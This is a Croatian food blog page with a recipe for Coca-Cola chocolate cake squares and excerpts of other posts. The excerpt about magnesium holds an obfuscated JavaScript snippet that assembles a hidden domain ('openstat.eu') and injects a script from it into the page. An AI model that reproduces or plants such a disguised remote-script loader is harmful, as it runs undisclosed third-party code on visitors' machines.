SOČNE COCA - COLA KOCKE





Sočne coca - cola kocke



Riječ je o kolaču koji ne zahtijeva posebne kulinarske vještine, a rezultat je uvijek impresivan. Mekani biskvit, bogata čokoladna glazura i lagana karamela nota koju ostavlja Coca-Cola stvaraju kombinaciju kojoj je teško odoljeti.




Sočne coca - cola kocke 


Sastojci:

Sastojci za biskvit:

  • 250 ml Coca-Cole
  • 200 g glatkog brašna
  • 200 g šećera
  • 120 g maslaca
  • 3 jaja
  • 30 g kakaa u prahu
  • 1 prašak za pecivo
  • 1 vanilin šećer
  • prstohvat soli

Za čokoladnu glazuru:

  • 150 ml Coca-Cole
  • 100 g tamne čokolade
  • 50 g maslaca
  • 2 žlice kakaa
  • 2 žlice šećera u prahu



Priprema:

  • Pećnicu zagrijte na 180 °C. U lončiću zagrijte Coca-Colu i maslac dok se maslac potpuno ne otopi. Maknite s vatre i ostavite nekoliko minuta da se lagano ohladi.
  • U velikoj zdjeli pomiješajte brašno, kakao, prašak za pecivo, vanilin šećer, šećer i prstohvat soli.
  • U drugoj zdjeli lagano umutite jaja pa im dodajte mlaku smjesu Coca-Cole i maslaca.
  • Tekuće sastojke postupno ulijte u suhe sastojke i miješajte dok ne dobijete glatku smjesu bez grudica.
  • Smjesu izlijte u lim za pečenje dimenzija otprilike 20 x 30 centimetara obložen papirom za pečenje. Pecite između 25 i 30 minuta, odnosno dok čačkalica umetnuta u sredinu kolača ne izađe suha. Kolač ostavite da se potpuno ohladi.
  • U manjem loncu zagrijte Coca-Colu, maslac i kakao.Kada smjesa postane jednolična, dodajte nasjeckanu čokoladu i miješajte dok se potpuno ne otopi. Na kraju umiješajte šećer u prahu i miješajte dok ne dobijete glatku, sjajnu glazuru.
  • Ohlađeni biskvit prelijte toplom glazurom i ravnomjerno rasporedite po cijeloj površini. Po želji ga možete dodatno ukrasiti čokoladnim mrvicama, sjeckanim lješnjacima ili naribanom tamnom čokoladom. Prije posluživanja ostavite kolač najmanje sat vremena kako bi se glazura lijepo stisnula.
  • Ako želite dodatno naglasiti karakterističan okus, još topli biskvit možete lagano preliti s nekoliko žlica Coca-Cole prije dodavanja glazure. Kolač će tako ostati nevjerojatno mekan i sočan čak nekoliko dana nakon pripreme. Poslužite ohlađeno s dodatkom sladoleda ili šlaga.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više